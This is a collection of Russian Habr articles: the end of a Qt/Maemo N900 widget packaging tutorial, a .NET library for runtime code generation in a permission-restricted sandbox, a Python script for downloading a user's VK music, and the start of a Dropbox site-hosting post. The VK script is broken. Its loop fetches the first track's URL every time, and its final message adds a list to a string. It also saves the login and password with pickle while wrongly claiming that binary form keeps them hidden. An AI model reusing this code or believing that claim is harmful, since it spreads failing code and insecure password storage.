Именно отсюда можно начинать писать статью. Все, что было до этого, никакого отношения к мобильной разработке не имеет. Это введение. Но хотелось показать весь цикл написания приложения для N900, чтоб показать, что разработка для N900 (или другой Qt платформы, Symbian например) не отличается от разработки настольного приложения на Qt. Более того, разработка приложения на Qt для мобильных платформ по большей части является обычной разработкой на Qt.
То приложение, что есть сейчас у нас, не привязано ни к одной платформе. Его можно собрать и запустить на любой поддерживаемой платформе без изменения кода вообще.
#### Идентификация
В некоторых случаях необходимо «понимать» в коде под какую платформу и с какими параметрами собирается приложение. И в Qt коде можно применять такие определения препроцессора: Q\_WS\_XXXXXX. Расшифровывается это как «Qt Window System ». Для Maemo это будет звучать так: Q\_WS\_MAEMO\_5. В .pro файле существуют команды ветвления для каждой платформы: win, mac, maemo5… Это тоже нужно использовать для идентификации платформы, если нужно использовать специфичный для этой платформы код. Для того, чтоб понять, что мы собираем код для Maemo5 и приложение собирается в виде виджета рабочего стола, в коде используется стандартная директива Q\_WS\_MAEMO5 и введенная директива RASP\_WIDGET. Если последней директивы нет, то проект собирается как простое приложение для Maemo5 платформы.
#### Создание виджета
Существует специальный проект, который представляет из себя адаптер, реализованный по принципу шаблона «мост». С одной стороны — это интерфейс Hildon виджета рабочего стола, а со второй — это QObject для взаимодействия с Qt кодом. Называется QMaemo5HomescreenAdaptor и пакет с исходным [кодом и примером можно скачать тут.](http://qt.gitorious.org/qt-labs/maemo5-homescreen/commits/master) Все что нужно сделать — это добавить секцию в .pro файл приблизительно такого содержания:
> maemo5:contains( DEFINES, RASP\_WIDGET ): include(./qmaemo5homescreenadaptor/qmaemo5homescreenadaptor.pri)
То есть, в случае, если проект собирается для maemo5 и указана директива препроцессора RASP\_WIDGET, то добавляем в проект вложенный проект адаптера рабочего стола.
И в main.cpp файл добавляем такой код:
> `#elif defined(Q\_WS\_MAEMO\_5) && defined(RASP\_WIDGET)
>
> QMaemo5HomescreenAdaptor \*adaptor = new QMaemo5HomescreenAdaptor(&w);
>
> adaptor->setSettingsAvailable(true);
>
> QObject::connect(adaptor, SIGNAL(settingsRequested()), &w, SLOT(showSettingsDialog()));
>
> w.show();
>
> #elif defined(Q\_WS\_MAEMO\_5)
>
> w.showMaximized();
>
> #else
>
> w.show();
>
> #endif
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Тут все просто: если мы собираем виджет, то создаем адаптер и соединяем сигнал о вызове окна настроек с соответствующим слотом виджета. В случае сборки проекта как приложения для Maemo5 (не виджета), адаптер не создается, а виджет отображается на весь экран.
И еще нужно не забыть в заголовке main.cpp файла добавить заголовочный файл адаптера:
> `#if defined(Q\_WS\_MAEMO\_5) && defined(RASP\_WIDGET)
>
> #include "qmaemo5homescreenadaptor.h"
>
> #endif
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вот и всё. Весь код для реализации виджета написан. Но просто так запустить его как виджет нельзя, для этого нужно установить в систему, как виджет рабочего стола. А для этого нужно собрать .deb пакет.
#### Сборка виджета в .deb пакет
Вот эта часть самая муторошная и сложная. Так как отлаживать приложение на устройстве как виджет у меня не получилось, то итоговый результат проверить можно, только собрав пакет и установив его на устройстве.
За основу взял [вот эту очень полезную статью](http://danielwilms.de/new/?p=140).
Теперь пошагово. Для выполнения всех команд нужно прописать путь к бинарникам от MADDE. Под Windows достаточно запустить специальный терминал, доступный в пункте Nokia Qt SDK после установки. Под \*nix системами нужно просто добавить путь к переменной PATH:
> export PATH=~/NokiaQtSDK/Maemo/4.6.2/bin/:$PATH
>
>
Окружение можно считать настроенным.
###### 1. Создаем каталог
Далее создаем отдельный каталог с названием <имя приложения>-<номер версии>. Причем строго в таком виде. В моем случае получается: «rule-raspisanie-widget-0.1». Именно так и будет называться в менеджере пакетов получившиеся приложение. После этого перетаскиваем туда все что нужно для сборки приложения: .pro, .cpp, .h, .qrc,.
###### 2. Создаем .desktop файл
В моем случае получилось вот такое содержание этого файла:
> [Desktop Entry]
>
> Name=Qt desktop timetable
>
> Comment=Qt based widget example for habrahabr
>
> Type=qt
>
> X-Path=/opt/rule-raspisanie-widget/raspisanie
>
> X-Multiple-Instances=false
>
> X-home-applet-minwidth=200
>
> X-home-applet-minheight=200
>
>
Тут особых комментариев не нужно. Главное тут указать путь к выполняемому файлу — «X-Path» и отключить возможность запуска нескольких экземпляров приложения — «X-Multiple-Instances». Подробней о формате файла можно почитать [тут](http://wiki.maemo.org/Documentation/Maemo_5_Developer_Guide/Application_Development/Writing_Desktop_Widgets#The_.desktop_File) и [тут](http://wiki.maemo.org/Desktop_file_format).
###### 3. Изменяем .pro файл
Этот .desktop файл необходимо скопировать в определенную папку в системе во время установки, поэтому нужно добавить это правило в .pro файл, чтоб сгенерировалось соответствующее правило в Makefile'е.
Добавляем в .pro файл в секцию с maemo5 такие вот строки:
> PREFIX = debian/rule-raspisanie-widget
>
> desktop.path = $$PREFIX/usr/share/applications/hildon-home
>
> desktop.files = \*.desktop
>
>
>
> target.path = $$PREFIX/opt/rule-raspisanie-widget/
>
> INSTALLS += target desktop
>
>
Тут префикс — это корень системы в .deb пакете. Вышеуказанный код делает два шага:
* Создает новое правило «desktop» с путем установки "/usr/share/applications/hildon-home" в целевой системе. Объектами этой цели являются все .desktop файлы.
* Назначает для цели сборки проекта (в нашем случае — это исполняемый файл) путь "/opt/rule-raspisanie-widget/" на этапе установки, благодаря этому цель сборки (получившееся приложение) будет скопировано в "/opt/rule-raspisanie-widget/" во время установки.
Добавления новых шагов сборки в .pro файле достаточно мощный инструмент, и я [рекомендую с ним познакомиться поближе](http://doc.qt.nokia.com/4.6/qmake-environment-reference.html#customizing-makefile-output).
###### 4. Генерируем скелет для .deb пакета
В этом шаге за нас все сделает MADDE, все что нужно сделать — это выполнить такую команду в созданном каталоге:
> mad dh\_make -createorig -single -e a@example.com -c gpl
>
>
Более подробно об упаковке с помощью MADDE можно почитать в [официальной документации](http://wiki.maemo.org/MADDE/Packaging).
После этого появится каталог «debian» с кучей файлов внутри. Нам потребуется подкорректировать некоторые из них.
###### файл «control»
Этот файл содержит всю информацию, необходимую для сборки и установки приложения.
Вот так у меня выглядит этот файл:
> Source: rule-raspisanie-widget
>
> Section: user/desktop
>
> Priority: extra
>
> Maintainer: Ievgen Rudenko
>
> Build-Depends: debhelper (>= 5), libqt4-dev (>= 4.6.1), libhildon1-dev, libhildondesktop1-dev
>
> Standards-Version: 3.7.3
>
> Homepage: <[erudenko.com](http://erudenko.com), [rule.habrahabr.ru](http://rule.habrahabr.ru)>
>
>
>
> Package: rule-raspisanie-widget
>
> Architecture: any
>
> Depends: ${shlibs:Depends}, ${misc:Depends}, qt4-homescreen-loader
>
> Description: The test widget for desktop, shoew timetable
>
> It's Qt example of making Desktop Widget for Maemo.
>
> It's Timetable that use simple XML format to retrieve via web.
>
>
Важными параметрами являются:
* Build-Depends — тут нужно прописать от каких пакетов зависит сборка приложения, в нашем случае это Qt — libqt4-dev (>= 4.6.1) и еще два пакета для адаптера ( libhildon1-dev, libhildondesktop1-dev);
* Depends — указать какие пакеты обязаны быть в системе для запуска приложения. Наше приложение требует наличие адаптера qt4-homescreen-loader;
* Section — к какой категории относится приложения (информация для менеджера пакетов).
Ну и естественно не забудьте заполнить поля с названием, мейнтейнером и описанием.
###### файл «rules»
Этот файл описывает шаги для сборки проекта. Нужно прописать в нем, что сначала необходимо запустить qmake перед выполнением make (чтоб сгенерировать Makefile) на этапе сборки и то-же самое для этапа очистки.
Ищем правило **build-stamp: configure-stamp** и правим(жирным выделено то, что нужно вставить):
> build-stamp: configure-stamp
>
> dh\_testdir
>
>
>
> # Add here commands to compile the package.
>
> **qmake «DEFINES+=RASP\_WIDGET» &&** $(MAKE)
>
>
Не забываем про формат Makefile'a: [перед каждым шагом для сборки цели необходимо ставить символ табуляции](http://www.opengroup.org/onlinepubs/009695399/utilities/make.html#tag_04_84_13_03).
Теперь меняем этап очистки, ищем одноименную цель — **clean** в файле rules и меняем его соответственно. После изменения этот этап будет выглядеть таким образом:
> clean:
>
> dh\_testdir
>
> dh\_testroot
>
> rm -f build-stamp configure-stamp
>
>
>
> # Add here commands to clean up after the build process.
>
> **qmake «DEFINES+=RASP\_WIDGET» &&** $(MAKE) clean
>
>
>
> dh\_clean
>
>
###### файл «postinst»
Этот файл выполняется после установки пакета в систему и тут можно писать дополнительные команды, если необходимо. В нашем случае нужно обойти один небольшой баг в MADDE, который заключается в том, что в приложении «сбрасывается» флаг «x» у приложение, информирующий о том, что файл является исполнительным. Всё что нужно сделать — это написать в файле команду для установки этого флага:
> #!/bin/sh
>
> chmod +x /opt/rule-raspisanie-widget/raspisanie
>
>
Таким образом, после установки запуститься этот скрипт, который установит флаг «x» нашему приложению.
###### файл «compat»
[Согласно документации](http://wiki.maemo.org/Documentation/Maemo_5_Developer_Guide/Packaging,_Deploying_and_Distributing#Creating_Debian_Packages) — это файл версии для проверки совместимости с Debhelper: «Debian helper compatibily version.» Просто убедитесь, что там стоит «5», а не «7».
###### 5. Собираем .deb пакет
Все готово, все что нужно сделать — это выполнить команду:
> mad dpkg-buildpackage -us -uc
>
>
И в директории уровнем выше "../" Вы найдете три файла с названием пакета и расширениями: dsc, tar.gz, changes, deb. Вот последний нам и нужен.
P.S.: Подробней о вышеописанном «шаманстве» можно почитать [в документации по созданию .deb пакетов](http://wiki.maemo.org/Documentation/Maemo_5_Developer_Guide/Packaging,_Deploying_and_Distributing).
#### Установка получившегося пакета
Я делал это просто — копировал c помощью scp на устройство и запускал из стандартного файлового менеджера непосредственно на устройстве. После этого пакет устанавливался и нужно просто добавить виджет на рабочий стол обычным и путем и все будет работать. Еще можно отправить себе по почте во вложениях и если два раза клацнуть по вложенному .deb пакету на устройстве, автоматически откроется менеджер пакетов и установит пакет из вложения письма.
Можно также сделать это с помощью команд «dpkg -i » на устройстве через ssh или [MADDE Device Runtime](http://wiki.maemo.org/MADDE/Device_runtime).
#### Пересборка .deb пакета
Тут тоже все просто: удаляем сгенерированные файлы dsc, tar.gz, changes, deb. Копируем новые исходники поверх старых в папке сборки пакета и выполняем снова команду:
> mad dpkg-buildpackage -us -uc
>
>
Удаляем с помощью менеджера пакетов наше приложение и устанавливаем новый пакет одним из вышеуказанных способов.
#### Выводы
Получившейся результат Вы можете наблюдать в самом верху, это скриншот с моего N900. Приложение не идеально, и явно нуждается в дальнейшем развитии, но вполне работоспособно и выполняет основные функции. Главную задачу (написания приложения без знаний платформы) я считаю выполненным. Единственное, с чем пришлось повозиться — это упаковка в .deb файл. Но во-первых, этот формат пакетов не является спецификой Maemo. А во-вторых, в следующих релизах MADDE эти все шаги будут «спрятаны» в Qt-Creator (большая часть уже спрятана).
Итог затраченного времени на втором шаге:
* доработка существующего кода и отладка: 3 часа
* изучение документации и информации по упаковке в .deb: 30 минут
* отладка приложения как «виджета рабочего стола»: 1 час
Итого времени 4 с половиной часа. Если учитывать [«первый этап»](http://habrahabr.ru/blogs/qt_software/98091/), то общее время по созданию приложения получается почти 7 часов. Один рабочий день.
Вот на написание этой статьи у меня ушло около 16 часов чистого времени (почти неделя «грязного»). Так что выгодней писать код, чем статьи :-)
Код можно скачать [отсюда](http://erudenko.com/habr/th12/raspisanie_habr.tar.gz).
Директорию с заготовкой для создания .deb пакета можно скачать [отсюда](http://erudenko.com/habr/th12/rule-raspisanie-widget-0.1.tar.gz). | https://habr.com/ru/post/99182/ | null | ru | null |
# Runtime-генерирование .Net-кода для тех, кому некогда
Инфраструктура .Net содержит встроенные средства генерирования кода (On-the-Fly Code Generation). Это позволяет .Net-программе в момент своего исполнения самостоятельно (без участия программиста) скомпилировать текст, написанный на каком-либо языке программирования и исполнить получившийся код. Логично было бы ожидать, что для осуществления этих действий в стандартной .Net-библиотеке предусмотрен простейший метод соответствующего класса. Но к сожалению это не так. Microsoft, проделав огромный путь по встраиванию в среду .Net средств генерирования кода, не сделала самый последний шаг навстречу простейшим потребностям программистов. Значит, придётся сделать этот шаг самостоятельно.
Самое простое средство предлагаемое Microsoft для решения описанной задачи — это класс CSharpCodeProvider, который входит в стандартную библиотеку .Net. Использование этого класса — не очень сложная задача, но тем не менее было бы полезно иметь инструмент, превращающий использование сгенерированного на лету кода в задачу тривиальную.
В результате получился небольшой набор классов, центральным из которых является `Tech.DynamicCoding.CodeGenerator`. Начнем его описание с простейшего примера использования. (Тексты библиотеки и примеров есть в [архиве](http://twidlle.com/notwidlle/CodeGeneration/CodeGeneration.zip)).
#### Генерирование простейшего кода
Предположим, вам нужно вычислить значение числового выражения, заданного в текстовом виде. Например, вот такого «12345678 \* 9 + 9». В этом случае вам достаточно написать следующее:
```
var result = CodeGenerator.ExecuteCode("return 12345678 \* 9 + 9;");
```
Cначала вы формируете фрагмент C#-кода и передаёте его как параметр вызова метода ``CodeGenerator.ExecuteCode. Тип возвращаемого кодом значения вы задаёте как параметр-тип метода. Это всё, что вам надо сделать в этом простейшем случае. Так просто? Задача решена?
#### Генерирование кода с параметрами
На самом деле не всё так просто. Чтобы разглядеть "подводные камни", надо заглянуть "под капот" метода ExecuteCode`. Дело в том, что этот метод формирует исходный код временной сборки, компилирует её, загружает в память текущего процесса, после чего исполняет. Проблема состоит в том, что если вам понадобится вычислить аналогичное выражение с другими числовыми значениями, то вся эта последовательность действий будет проделана заново, хотя код получится идентичный. Дело не только в том, что на это будут потрачено время, но ещё и в том, что в память будет загружена вторая, практически равная первой сборка.
Чтобы преодолеть эту проблему, мы будем использовать в генерируемом коде параметры. В результате выполнения следующего кода в память будет загружена только одна сборка.
```
var result = CodeGenerator.ExecuteCode("return a \* b + c;",
CodeParameter.Create("a", 9876543.21),
CodeParameter.Create("b", 9),
CodeParameter.Create("c", -0.01));
var result2 = CodeGenerator.ExecuteCode("return a \* b + c;",
CodeParameter.Create("a", 12345678.9),
CodeParameter.Create("b", 8),
CodeParameter.Create("c", 0.9));
```
В этом варианте, мы задали формулу отдельно, а значения параметров отдельно. Метод ExecuteCode проверяет, нет ли среди ранее скомпилированных им сборок, подходящей для выполнения текущего вызова. Если исходный C#-код, возвращаемый им тип, а также типы и имена параметров совпадают, то можно использовать приготовленную при первом вызове ExecuteCode сборку повторно.
#### Повторное использование сгенерированного кода
Можно сделать повторное использование сгенерированного кода еще более эффективным. Следующий пример демонстрирует, как явно выразить желание повторно использовать ранее приготовленный код.
```
var code = CodeGenerator.CreateCode(
"return StartDate.AddDays(Duration);",
new CodeParameter("StartDate", typeof(DateTime)),
new CodeParameter("Duration", typeof(int)));
var result1 = code.Execute(DateTime.Parse("2013-01-01"), 256);
var result2 = code.Execute(DateTime.Parse("2013-10-13"), 131);
```
Этапы приготовления кода и его исполнения здесь разнесены во времени. На первом этапе задается исходный текст фрагмента C#-кода, тип возвращаемого значения, имена и типы параметров. На втором этапе готовый к исполнению код вызывается несколько раз с разными значениями параметров. Использование кода скомпилированного на лету становится в этом случае более эффективным.
Но к сожалению проблемы на этом не заканчиваются. Осталось два очень неприятных момента.
Первый момент. Возможна ситуация, когда вы не знаете точное количество возможных генерируемых фрагментов кода, которые вашей программе предстоит выполнить во время её работы. Проблема в том, что каждый генерируемый фрагмент - это новая сборка в памяти. Это значит, что приложение будет занимать в памяти всё больше и больше места. Поэтому надо научиться выгружать из памяти динамически созданные сборки, чтобы возвращать память.
Вторая проблема - это безопасность. Генерируемый код по своим возможностям совершенно не отличается от кода, который пишет и компилирует программист. При этом источник генерируемого кода может быть не очень надёжен (например, источником исходного кода может быть конечный пользователь). Значит надо иметь возможность регулировать права этого кода, чтобы ошибочный или злонамеренный генерируемый код не разрушил систему.
#### Вызов сгенерированного кода в песочнице
Для решения обеих проблем, можно использовать дополнительный домен приложения (AppDomain) со строго ограниченными правами исполнения кода - так называемую "песочницу" (sandbox). В следующем фрагменте кода, сгенерированный код создается в такого рода песочнице и исполняется в ней. Затем, песочница завершает свою работу и выгружает из памяти все сборки, работавшие в ней.
```
using (var sandbox = new Sandbox())
{
var code = CodeGenerator.CreateCode(sandbox,
"return (int)(DateTime.Now - StartDate).TotalDays;",
new CodeParameter("StartDate", typeof(DateTime)));
var result = code.Execute(DateTime.Parse("1962-09-17"));
}
```
Здесь мы используем новый класс `Sandbox`, олицетворяющий дополнительный AppDomain. В одной песочнице можно многократно исполнять несколько сгенерированных фрагментов кода. Время жизни песочницы регулируется программистом приложения.
#### Управляем правами сгенерированного кода в песочнице
Права кода, выполняющегося в песочнице, установлены минимальные. Следующий код вызовет исключение из-за недостатка прав у сгенерированного кода.
```
using (var sandbox = new Sandbox())
{
var code = CodeGenerator.CreateCode(sandbox,
@"System.IO.File.Delete(filePath);",
new CodeParameter("filePath", typeof(string)));
code.Execute(@"c:\temp\a.txt"); // SecurityException
}
```
Если это действительно необходимо, то вы можете добавить прав коду в песочнице. Следующий код делает это.
```
const string FILE_PATH = @"c:\temp\a.txt";
using (var sandbox = new Sandbox(
new FileIOPermission(FileIOPermissionAccess.AllAccess, FILE_PATH)))
{
var code = CodeGenerator.CreateCode(sandbox,
@"System.IO.File.Delete(filePath);",
new CodeParameter("filePath", typeof(string)));
code.Execute(FILE\_PATH);
}
```
#### Ограничения на параметры и возвращаемое значение кода, работающего в песочнице
Конечно за преимущества работы в песочнице приходится платить некоторую цену. И дело не только в том, что пересечение границ доменов снижает производительность вызовов сгенерированного кода. Обычно это снижение неощутимо, т.к. генерируемый код чаще всего используется для выполнения высокоуровневых операций.
Более существенно то, что приходится учитывать ограничения на типы параметров и возвращаемых значений генерируемого кода. Использовать в данном случае можно только сериализуемые типы и типы, производные от MarshalByRefObject. Это ограничение накладывает технология .Net Remoting, используемая для междоменого взаимодействия.
Следующий код демонстрирует возможность управлять из песочницы объектом переданным по ссылке. В качестве объекта будем использовать простейшую модель кондиционера:
```
public class AirConditioner : MarshalByRefObject
{
public bool Working { get; set; }
}
[Serializable]
public struct Climate
{
public double Temperature { get; set; }
}
```
Предоставим пользователю возможность самому написать алгоритм, по которому определяется необходимость автоматического включения/выключения кондиционера, в зависимости от температуры в помещении.
```
const string controlAlgorithm = @"
IF Climate.Temperature > 26 THEN Unit.Working = TRUE
IF Climate.Temperature < 22 THEN Unit.Working = FALSE";
var unit = new AirConditioner();
var сlimate = new Climate { Temperature = 28 };
using (var sandbox = new Sandbox())
{
var controlCode = CodeGenerator.CreateCode(sandbox,
VB.Compiler,
controlAlgorithm, null, null,
CodeParameter.Create("Unit", unit),
CodeParameter.Create("Climate", сlimate));
while (!Console.KeyAvailable)
{
Console.WriteLine("t={0}°C", сlimate.Temperature);
controlCode.Execute(unit, сlimate);
Thread.Sleep(300);
сlimate.Temperature += unit.Working ? -1 : 1;
}
}
```
Заметьте, что кондиционер бы не заработал, если бы мы не унаследовали его от MarshalByRefObject, а структуру данных Climate не снабдили бы атрибутом [Serializable].
#### Более сложный сгенерированный код
В заключение можно упомянуть ещё несколько дополнительных возможностей представленной библиотеки.
1. Если в компилируемом во время исполнения С#-коде вам надо использовать не только классы из пространства имён `System`, то вам придётся указывать полные, длинные имена. При обычном C# программировании эта проблема решается с помощью using'ов. Предусмотрена аналогичная возможность и в нашем случае. В библиотеке есть перегруженные методы, которые принимают на вход список пространств имён, классы из которых вы сможете использовать без указания полных имён. Это позволит сделать ваш динамический код более кратким.
2. Возможно вам понадобится использовать в сгенерированном коде классы не только из библиотек System.dll и mscorlib.dll, но и из других. Чтобы такой динамический код компилировался, придётся указать полный список необходимых библиотек. В библиотеке есть перегруженные методы, которые принимают такой список дополнительных библиотек.
Сборки, в которых определены типы параметров и возвращаемого значения сгенерированного кода, добавляются в список дополнительных библиотек автоматически. Вам не надо об этом заботиться.
3. По умолчанию в качестве языка программирования для генерируемого кода используется C#. Но есть возможность подключить и другие языки. В качестве примера это сделано с языком VB.Net. Его синтаксис может показаться более простым и привычным для пользователей составляющих фрагменты динамического кода. (При управлении кондиционером мы как раз использовали эту возможность.)
#### Заключение
Это всё, что нужно знать, чтобы пользоваться представленной библиотекой классов. В [прилагающемся архиве](http://twidlle.com/notwidlle/CodeGeneration/CodeGeneration.zip) есть исходные тексты библиотеки и демонстрационные программы. При необходимости вы всегда можете доработать эти классы под свои особенные нужды.
Замечу, что потребность в генерируемом во время исполнения коде возникает довольно часто. Эта техника применяется, например, для создания гибких бизнес-приложений, легко адаптируемых к часто изменяющимся бизнес требованиям. Динамический код, написанный бизнес-аналитиком или администратором системы может служить эффективной альтернативой разработке громоздких систем подключаемых модулей (plugin modules).
Другим примером применения генерируемого кода является гибкая обработка данных. Например, обработка или генерирование графических данных. Среди примеров к этой статье вы можете найти крохотную программку, позволяющую генерировать изображения по заданной пользователем формуле.
Надеюсь, представленная в этой статье библиотека, позволит вам шире использовать генерируемый во время исполнения код в своих проектах, не тратя при этом время на технические детали реализации этой технологии.
##### Близкие по теме публикации
[Динамическая компиляция кода в C#](http://habrahabr.ru/post/67431/)
[Динамическая компиляция и загрузка кода](http://www.cyberguru.ru/microsoft-net/net-framework/dotnet-dynamic-code-compilation-page2.html)
[Выполнение C# кода "на лету"](http://yrevotyuk.blogspot.ru/2013/03/in-flight-csharp.html)
[Алгоритмы кодогенерации](http://rsdn.ru/article/dotnet/codegen.xml)
[CS-Script - The C# Script Engine](http://www.csscript.net/index.html)
[Security and On-the-Fly Code Generation](http://msdn.microsoft.com/ru-ru/library/x222e4ce.aspx)
[How to: Run Partially Trusted Code in a Sandbox](http://msdn.microsoft.com/ru-ru/library/bb763046.aspx)
[Metaprogramming in .NET. EBook](http://dl.e-book-free.com/2013/07/metaprogramming_in_.net.pdf)
[Debugging a generated .NET assembly from within the application that generated it](http://ask.make-money-article.com/que/1593920)` | https://habr.com/ru/post/199266/ | null | ru | null |
# Загрузка музыки ВКонтакте
Доброго времени суток всем.
Захотелось мне скачать всю мою музыку со ВКонтакте на флешку, как в старые добрые времена. Немного погуглив и не найдя практически ничего более менее приемлемого, я решил действовать своими силами. Спустя пол часа получился вполне себе рабочий скрипт. Итак, начнём.
Для работы нужно скачать модули vk\_api и request!
Для начала подключим необходимые модули и объявим некоторые переменные:
```
import os
import pickle
import vk_api
import requests
from vk_api import audio
from time import time
vk_file = "vk_config.v2.json"
REQUEST_STATUS_CODE = 200
path = 'vk_music/'
```
Теперь напишем метод авторизации в аккаунт ВКонтакте:
```
def Auth(new=False):
try:
USERDATA_FILE = r"AppData/UserData.datab" #файл хранит логин, пароль и id
global my_id # объявляем переменную глобально, дабы иметь к ней доступ из других методов
# проверяем, нет ли сохранённых данных авторизации? Если есть, то загружаем
if (os.path.exists(USERDATA_FILE) and new == False):
with open(USERDATA_FILE, 'rb') as DataFile:
LoadedData = pickle.load(DataFile)
login = LoadedData[0]
password = LoadedData[1]
my_id = LoadedData[2]
else: # если есть, но пользователь выбрал новую авторизацию, то удаляем данных и просим ввести новые
if (os.path.exists(USERDATA_FILE) and new == True):
os.remove(USERDATA_FILE)
login = str(input("Введите логин\n> "))
password = str(input("Введите пароль\n> "))
my_id = str(input("Введите id профиля\n> "))
SaveUserData(login, password, my_id)
SaveData = [login, password, my_id]
with open(USERDATA_FILE, 'wb') as dataFile:
pickle.dump(SaveData, dataFile) # сохраняем введённые данные
vk_session = vk_api.VkApi(login=login, password=password)
try:
vk_session.auth() # пробуем авторизоваться, если возникнет исключение, значит у пользователя включена двухфакторная аутентификация. Просим ввести код.
except:
vk_session = vk_api.VkApi(login=login, password=password,
auth_handler=auth_handler) # auth_handler=auth_handler - вызываем метод, см. далее
vk_session.auth()
print('Вы успешно авторизовались.')
vk = vk_session.get_api()
global vk_audio # объявляем глобально, дабы иметь доступ из других методов
vk_audio = audio.VkAudio(vk_session)
except KeyboardInterrupt:
print('Вы завершили выполнение программы.')
```
Метод будет проверять, не авторизовывались ли мы уже раньше? Если такое было, то можно будет продолжить в этом аккаунте, или авторизоваться по-новой. В этом случае старые данные будут стёрты.
Далее напишем метод auth\_handler, который нужен для авторизации в аккаунтах, в которых включена двухфакторная аутентификация:
```
def auth_handler():
code = input("Введите код подтверждения\n> ")
remember_device = True # True - запоминаем и не просим каждый раз вводить код
return code, remember_device
```
И так, теперь мы можем авторизоваться во ВКонтакте. В методе Auth упомянался метод SaveUserData(), он нужен для сохранения данных. Напишем его:
```
def SaveUserData(login, password, profile_id):
USERDATA_FILE = r"AppData/UserData.datab"
if (not os.path.exists("AppData")): # если нет папки AppData - создадим ее
os.mkdir("AppData")
SaveData = [login, password, profile_id] # список данных для сохранения
with open(USERDATA_FILE, 'wb') as dataFile: # собственно записываем данные в файл
pickle.dump(SaveData, dataFile)
```
Данные будут записаны в бинарном виде, дабы не хранить логин и пароль пользователя в открытом виде.
Осталось написать метод загрузки аудио со ВКонтакте, давайте это и сделаем:
```
def main():
try:
if (not os.path.exists("AppData")):
os.mkdir("AppData")
if not os.path.exists(path):
os.makedirs(path)
# спросим пользователя, нужно ли авторизоваться по-новой или продолжить старую сессию
auth_dialog = str(input("Авторизоваться заново? yes/no\n> "))
if (auth_dialog == "yes"):
Auth(new=True)
elif (auth_dialog == "no"):
Auth(new=False)
else:
print('Ошибка, неверный ответ.')
main()
print('Подготовка к скачиванию...')
os.chdir(path) #меняем текущую директорию
audio = vk_audio.get(owner_id=my_id)[0]
print('Будет скачано:', len(vk_audio.get(owner_id=my_id)), 'аудиозаписей.')
count = 0
time_start = time()
print("Скачивание началось...\n")
# этим циклом, собственно, и скачиваем нашу музыку.
for i in vk_audio.get(owner_id=my_id):
try:
print('Скачивается: ' + i["artist"] + " - " + i["title"])
count += 1
r = requests.get(audio["url"])
if r.status_code == REQUEST_STATUS_CODE:
print('Скачивание завершено: ' + i["artist"] + " - " + i["title"])
with open(i["artist"] + ' - ' + i["title"] + '.mp3', 'wb') as output_file:
output_file.write(r.content)
except OSError:
print("!!! Не удалось скачать аудиозапись №", count)
time_finish = time()
print("" + vk_audio.get(owner_id=my_id) + " аудиозаписей скачано за: ",
time_finish - time_start + " сек.")
except KeyboardInterrupt:
print('Вы завершили выполнение программы.')
```
Ну вот и всё. Теперь у нас есть рабочий скрипт для загрузки аудиозаписей из ВКонтакте.
Вот так выглядит весь исходный код:
**Показать исходный код**
```
import os
import pickle
import vk_api
import requests
from vk_api import audio
from time import time
__version__ = 'VK Music Downloader v1.0'
APP_MESSAGE = '''
_ . ___
/\\ | | | \\ | | | \\ / | /
/__\\ | | | \\ | | | \\ / |/
/ \\ |___| |__/ | |___| \\/ |\\
'''
vk_file = "vk_config.v2.json"
REQUEST_STATUS_CODE = 200
path = 'vk_music/'
def auth_handler(remember_device=None):
code = input("Введите код подтверждения\n> ")
if (remember_device == None):
remember_device = True
return code, remember_device
def SaveUserData(login, password, profile_id):
USERDATA_FILE = r"AppData/UserData.datab"
SaveData = [login, password, profile_id]
with open(USERDATA_FILE, 'wb') as dataFile:
pickle.dump(SaveData, dataFile)
def Auth(new=False):
try:
USERDATA_FILE = r"AppData/UserData.datab" #файл хранит логин, пароль и id
global my_id
if (os.path.exists(USERDATA_FILE) and new == False):
with open(USERDATA_FILE, 'rb') as DataFile:
LoadedData = pickle.load(DataFile)
login = LoadedData[0]
password = LoadedData[1]
my_id = LoadedData[2]
else:
if (os.path.exists(USERDATA_FILE) and new == True):
os.remove(USERDATA_FILE)
login = str(input("Введите логин\n> "))
password = str(input("Введите пароль\n> "))
my_id = str(input("Введите id профиля\n> "))
SaveUserData(login, password, my_id)
SaveData = [login, password, my_id]
with open(USERDATA_FILE, 'wb') as dataFile:
pickle.dump(SaveData, dataFile)
vk_session = vk_api.VkApi(login=login, password=password)
try:
vk_session.auth()
except:
vk_session = vk_api.VkApi(login=login, password=password,
auth_handler=auth_handler)
vk_session.auth()
print('Вы успешно авторизовались.')
vk = vk_session.get_api()
global vk_audio
vk_audio = audio.VkAudio(vk_session)
except KeyboardInterrupt:
print('Вы завершили выполнение программы.')
def main():
try:
if (not os.path.exists("AppData")):
os.mkdir("AppData")
if not os.path.exists(path):
os.makedirs(path)
auth_dialog = str(input("Авторизоваться заново? yes/no\n> "))
if (auth_dialog == "yes"):
Auth(new=True)
elif (auth_dialog == "no"):
Auth(new=False)
else:
print('Ошибка, неверный ответ.')
main()
print('Подготовка к скачиванию...')
os.chdir(path) #меняем текущую директорию
audio = vk_audio.get(owner_id=my_id)[0]
print('Будет скачано:', len(vk_audio.get(owner_id=my_id)), 'аудиозаписей.')
count = 0
time_start = time() # сохраняем время начала скачивания
print("Скачивание началось...\n")
# собственно циклом загружаем нашу музыку
for i in vk_audio.get(owner_id=my_id):
try:
print('Скачивается: ' + i["artist"] + " - " + i["title"]) # выводим информацию о скачиваемой в данный момент аудиозаписи
count += 1
r = requests.get(audio["url"])
if r.status_code == REQUEST_STATUS_CODE:
print('Скачивание завершено: ' + i["artist"] + " - " + i["title"])
with open(i["artist"] + ' - ' + i["title"] + '.mp3', 'wb') as output_file:
output_file.write(r.content)
except OSError:
print("!!! Не удалось скачать аудиозапись №", count)
time_finish = time()
print("" + vk_audio.get(owner_id=my_id) + " аудиозаписей скачано за: ",
time_finish - time_start + " сек.")
except KeyboardInterrupt:
print('Вы завершили выполнение программы.')
if __name__ == '__main__':
print(APP_MESSAGE)
print(__version__ + "\n")
main()
```
Я только учусь, поэтому буду рад всем замечаниям в коде. Спасибо за внимание. | https://habr.com/ru/post/468735/ | null | ru | null |
# Dropbox — простейший минихостинг сайтов
Как показали комментарии к моему [хабратопику](http://habrahabr.ru/blogs/japan/83387/), где я упомянул о способе хостинга сайта, используя только Dropbox, знают далеко не все. То есть все знают, что это один из самых неплохих продуктов для синхронизации файлов (более того, его используют как механизм синхронизации для приложений), что с помощью Dropbox легко опубликовать свой файл, положив его в папку Dropbox/Public, а потом скопировав на него ссылку (public link).
Однако кроме всего этого, Dropbox может выступать как простейший хостинг для ваших минипроектов.
#### Рецепт
